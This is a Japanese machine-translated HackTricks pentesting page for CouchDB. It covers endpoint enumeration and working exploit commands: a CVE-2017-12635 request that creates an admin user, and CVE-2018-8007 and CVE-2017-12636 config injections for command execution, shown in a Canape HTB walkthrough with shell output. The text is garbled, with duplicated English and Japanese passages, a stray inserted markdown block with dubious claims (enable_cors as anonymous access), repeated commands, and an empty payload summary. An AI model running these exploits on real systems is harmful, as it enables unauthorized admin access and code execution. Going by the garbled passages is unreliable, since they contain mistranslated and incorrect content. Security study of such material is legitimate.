32 KiB
5984, 6984 - CouchDBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
基本情報
CouchDBはドキュメント指向のデータベースであり、各ドキュメント内のフィールドはキーと値のマップとして格納されます。フィールドは単純なキー/値のペア、リスト、またはマップのいずれかであることができます。
データベースに格納される各ドキュメントには、ドキュメントレベルの一意の識別子(_id
)と、データベースに行われた変更ごとに保存されるリビジョン(_rev
)番号が付けられます。
デフォルトポート: 5984 (http), 6984 (https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
自動列挙
Automatic enumeration is a technique used in pentesting to gather information about a target system without manual intervention. It involves using tools and scripts to scan the target system and retrieve information such as open ports, running services, and version numbers.
自動列挙は、手動の介入なしでターゲットシステムに関する情報を収集するためのペンテスト技術です。ツールやスクリプトを使用して、ターゲットシステムをスキャンし、オープンポート、実行中のサービス、バージョン番号などの情報を取得することが含まれます。
Tools for Automatic Enumeration
Nmap
Nmap is a popular tool used for network scanning and enumeration. It can be used to discover open ports, running services, and operating system details of a target system.
自動列挙のためのツール
Nmap
Nmapは、ネットワークスキャンと列挙に使用される人気のあるツールです。ターゲットシステムのオープンポート、実行中のサービス、およびオペレーティングシステムの詳細を発見するために使用することができます。
Enum4linux
Enum4linux is a tool specifically designed for enumerating information from Windows and Samba systems. It can retrieve information such as user and group names, shares, and password policies.
Enum4linux
Enum4linuxは、WindowsおよびSambaシステムから情報を列挙するために特に設計されたツールです。ユーザー名、グループ名、共有、パスワードポリシーなどの情報を取得することができます。
Dirb
Dirb is a web content scanner that can be used to discover hidden directories and files on a web server. It can help in finding sensitive information or potential vulnerabilities.
Dirb
Dirbは、ウェブサーバー上の隠れたディレクトリやファイルを発見するために使用されるウェブコンテンツスキャナです。機密情報や潜在的な脆弱性の発見に役立ちます。
Automated Enumeration Scripts
There are also various automated enumeration scripts available that combine multiple tools and techniques to gather information about a target system. These scripts can save time and effort by automating the enumeration process.
自動列挙スクリプト
さらに、複数のツールと技術を組み合わせてターゲットシステムに関する情報を収集するためのさまざまな自動列挙スクリプトも利用可能です。これらのスクリプトは、列挙プロセスを自動化することで時間と労力を節約することができます。
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
バナー
CouchDBのバージョンを特定するために、以下のコマンドを使用します。
curl -X GET http://<target>:5984/
マニュアル列挙
CouchDBのバージョンを特定するために、以下のコマンドを使用します。
curl -X GET http://<target>:5984/
curl http://IP:5984/
これはインストールされたCouchDBインスタンスにGETリクエストを発行します。応答は以下のいずれかの形式で表示されるはずです。
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
CouchDBのルートにアクセスすると、次のような401 Unauthorized
が表示されます: {"error":"unauthorized","reason":"Authentication required."}
バナーや他のエンドポイントにアクセスすることはできません。
{% endhint %}
情報の列挙
これらは、GETリクエストでアクセスし、いくつかの興味深い情報を抽出できるエンドポイントです。couchdbのドキュメントには、より多くのエンドポイントと詳細な説明があります。
/_active_tasks
実行中のタスクのリスト。タスクのタイプ、名前、ステータス、プロセスIDが含まれます。- **
/_all_dbs
**CouchDBインスタンスのすべてのデータベースのリストを返します。 - **
/_cluster_setup
**クラスタまたはノードのステータスを返します。 /_db_updates
CouchDBインスタンスのすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、_global_changes
データベースが存在する必要があります。/_membership
クラスタの一部であるノードをcluster_nodes
として表示します。all_nodes
フィールドには、クラスタの一部であるノードだけでなく、このノードが知っているすべてのノードが表示されます。/_scheduler/jobs
レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。/_scheduler/docs
レプリケーションドキュメントの状態のリスト。completed
およびfailed
の状態を含むすべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、この情報を取得するために/_node/_local
にアクセスする場合に最も役立ちます。/_node/{node-name}/_stats
_stats
リソースは、実行中のサーバーの統計情報を含むJSONオブジェクトを返します。リテラル文字列_local
は、ローカルノード名のエイリアスとして機能するため、すべての統計URLでは、{node-name}
を_local
に置き換えてローカルノードの統計情報とやり取りすることができます。/_node/{node-name}/_system
_system
リソースは、実行中のサーバーのさまざまなシステムレベルの統計情報を含むJSONオブジェクトを返します。現在のノード情報を取得するには、{node-name}
として_local
を使用できます。/_node/{node-name}/_restart
/_up
サーバーが起動し、実行中でリクエストに応答できることを確認します。maintenance_mode
がtrue
またはnolb
の場合、エンドポイントは404の応答を返します。- **
/_uuids
**CouchDBインスタンスから1つ以上の一意の識別子(UUID)を要求します。 - **
/_reshard
**クラスタ上の完了、失敗、実行中、停止、および合計ジョブの数とリシャーディングの状態を返します。
ここで説明されているより興味深い情報を抽出する方法については、こちらを参照してください。
データベースリスト
curl -X GET http://IP:5984/_all_dbs
もしリクエストが401 Unauthorizedで応答する場合、データベースにアクセスするためには有効な認証情報が必要です。
curl -X GET http://user:password@IP:5984/_all_dbs
有効な資格情報を見つけるためには、サービスをブルートフォース攻撃することができます。
これは、データベースの一覧を表示するために十分な権限を持っている場合のCouchDBのレスポンスの例です(ただのデータベースのリストです):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
データベース情報
データベース名にアクセスすることで、データベースの情報(ファイルの数やサイズなど)を取得することができます。
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
ドキュメントリスト
データベース内の各エントリをリストアップします。
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
ドキュメントの読み取り
データベース内のドキュメントの内容を読み取ります。
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB特権エスカレーション CVE-2017-12635
ErlangとJavaScriptのJSONパーサーの違いにより、次のリクエストで資格情報hacktricks:hacktricks
を持つ管理者ユーザーを作成することができます。
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang Cookie
CouchDBのドキュメントのクラスタ設定セクションには、CouchDBが使用する異なるポートについて説明されています:
クラスタモードのCouchDBは、スタンドアロンと同様にポート
5984
を使用しますが、ノードローカルAPIには5986
も使用します。Erlangは他のノードを見つけるためにTCPポート
4369
(EPMD)を使用するため、すべてのサーバーはこのポートでお互いに通信できる必要があります。Erlangクラスタでは、すべてのノードが他のすべてのノードに接続されています。メッシュです。
そして興味深い警告があります:
プロセスリストを見ると、cookieが「monster」であることがわかります。
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Erlangsのクッキーを悪用してRCEを取得する方法については、このセクションを読むことで学ぶことができます。また、このようなCanape HTBマシンの解説を読んで、この脆弱性をどのように悪用するかを見て、実践することもできます。
local.iniの書き込み権限を持つCVE-2018-8007の成功例
この記事を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。CVE-2018-8007です。これもlocal.ini
ファイルへの書き込みが必要ですので、Canapeには有用なオプションではありません。しかし、既にrootとして書き込み可能にしているので、動作するか試してみましょう。
クリーンな状態から始め、書き込み可能なlocal.ini
(およびバックアップ)を用意します。
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
local.ini
ファイルでオリジンを変更するために、curlを使用することができます。ここでの脆弱性は、curlを使用して新しいオリジンと改行を追加すると、新しいヘッダーや詳細を含む追加の情報を書き込むことができることです。したがって、[os_daemons]
フィールドを利用し、CouchDBが実行し続けるようにするためのプロセスを追加します。
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
ルートシェルで、私たちはどの変更が見えるかを確認することができます。
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
そして、そのファイルは存在しません:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
もし私たちが「couchdb」を含むコマンドラインで実行されているプロセスを見ると、私たちは以前使用したクッキーの値を提供してくれるコマンドラインだけでなく、runsrv couchdb
も見ることができます。
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
もし私たちがそのプロセスを終了させると、すぐに復活します(新しいpidに注目してください):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
そして、再起動時にはOS_Daemonsが実行されます:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
ローカル.iniの書き込み権限を利用したCVE-2017-12636による成功した試み
CVE-2017-12636を利用すると、couchdbプロセスを介してコードを実行することができます。ただし、この構成では機能しません。
参考となるいくつかのPOCがあります:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
新しいquery_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされた当時、ほとんどのPOCはcouchdb 1.x向けでしたが、このボックスは2を実行しているため、ほとんどのPOCのquery_serversパスは存在しません。これは変わりましたが、同じ手順を踏みます。まず、バージョンを取得し、1.Xのパスが存在しないことを示します:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/5984-pentesting-couchdb.md ファイルからのものです。
# Pentesting CouchDB
## Introduction
CouchDB is a NoSQL database that uses JSON to store data. It is widely used in web applications and provides a RESTful API for data access. In this section, we will explore various techniques for pentesting CouchDB.
## Enumeration
### Version Detection
To determine the version of CouchDB, you can send an HTTP GET request to the `/_utils/` endpoint. The response will include the version number.
```bash
GET /_utils/
Database Enumeration
To enumerate the databases in CouchDB, you can send an HTTP GET request to the /_all_dbs
endpoint. The response will include a list of all the databases.
GET /_all_dbs
Exploitation
Unauthorized Access
CouchDB may have misconfigured permissions, allowing unauthorized access to the databases. You can check if anonymous access is enabled by sending an HTTP GET request to the /_config/httpd/enable_cors
endpoint. If the response includes "true"
, anonymous access is enabled.
GET /_config/httpd/enable_cors
Document Retrieval
To retrieve a document from a specific database, you can send an HTTP GET request to the /{database}/{document_id}
endpoint. Replace {database}
with the name of the database and {document_id}
with the ID of the document.
GET /{database}/{document_id}
Document Modification
If you have write access to a database, you can modify a document by sending an HTTP PUT request to the /{database}/{document_id}
endpoint. Replace {database}
with the name of the database and {document_id}
with the ID of the document. Include the updated JSON data in the request body.
PUT /{database}/{document_id}
Database Creation
If you have the necessary permissions, you can create a new database by sending an HTTP PUT request to the /{database}
endpoint. Replace {database}
with the name of the new database.
PUT /{database}
Conclusion
In this section, we have covered various techniques for pentesting CouchDB. It is important to properly secure CouchDB installations to prevent unauthorized access and data leaks.
新しいパスに更新:
```markdown
# Pentesting CouchDB
## Introduction
CouchDBは、データを保存するためにJSONを使用するNoSQLデータベースです。Webアプリケーションで広く使用され、データアクセスのためのRESTful APIを提供しています。このセクションでは、CouchDBのペントテストのさまざまな技術について調査します。
## Enumeration
### Version Detection
CouchDBのバージョンを特定するには、`/_utils/` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはバージョン番号が含まれます。
```bash
GET /_utils/
Database Enumeration
CouchDBのデータベースを列挙するには、/_all_dbs
エンドポイントにHTTP GETリクエストを送信します。レスポンスにはすべてのデータベースのリストが含まれます。
GET /_all_dbs
Exploitation
Unauthorized Access
CouchDBは、誤った許可設定により、データベースへの不正なアクセスが許可される場合があります。匿名アクセスが有効化されているかどうかを確認するには、/_config/httpd/enable_cors
エンドポイントにHTTP GETリクエストを送信します。レスポンスに "true"
が含まれている場合、匿名アクセスが有効化されています。
GET /_config/httpd/enable_cors
Document Retrieval
特定のデータベースからドキュメントを取得するには、/{database}/{document_id}
エンドポイントにHTTP GETリクエストを送信します。{database}
をデータベースの名前、{document_id}
をドキュメントのIDに置き換えます。
GET /{database}/{document_id}
Document Modification
データベースへの書き込みアクセス権がある場合、HTTP PUTリクエストを /{database}/{document_id}
エンドポイントに送信することで、ドキュメントを変更できます。{database}
をデータベースの名前、{document_id}
をドキュメントのIDに置き換えます。リクエストボディに更新されたJSONデータを含めます。
PUT /{database}/{document_id}
Database Creation
必要な権限がある場合、新しいデータベースを作成するには、HTTP PUTリクエストを /{database}
エンドポイントに送信します。{database}
を新しいデータベースの名前に置き換えます。
PUT /{database}
Conclusion
このセクションでは、CouchDBのペントテストのさまざまな技術をカバーしました。不正なアクセスやデータの漏洩を防ぐために、CouchDBのインストールを適切にセキュアにすることが重要です。
```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
そこから、query_serverを追加してそれを呼び出す必要がありますが、私たちはそれができません。
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
いくつかのGoogle検索結果から、これは権限の問題であることがわかります。実際に、rootシェルで確認すると、local.ini
ファイルは誰にも書き込み権限がありません。特にwww-dataユーザーにもありません。
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
それでは、Canapeは行き詰まりです。しかし、動作させるために試みたい場合は、rootまたはhomerアクセスで読み取り可能にすることができ、この経路を続けることができます。変更内容を確認するために、元のバックアップを作成します。
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
さて、www-dataシェルに戻りましょう:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
前の値を取得することで、cmdクエリーサーバーが成功したことがわかります。そして、ルートシェルでは、それが機能したことが確認できます。
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
今、私たちはdbを作成し、そのdb内にドキュメントを作成し、クエリ_サーバーにマップされたビューを使用してリクエストを実行できるはずです。
dbとドキュメントを作成する:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
ビューでリクエストしてください:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
要約 - 異なるペイロード
Shodan
port:5984 couchdb
参考文献
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。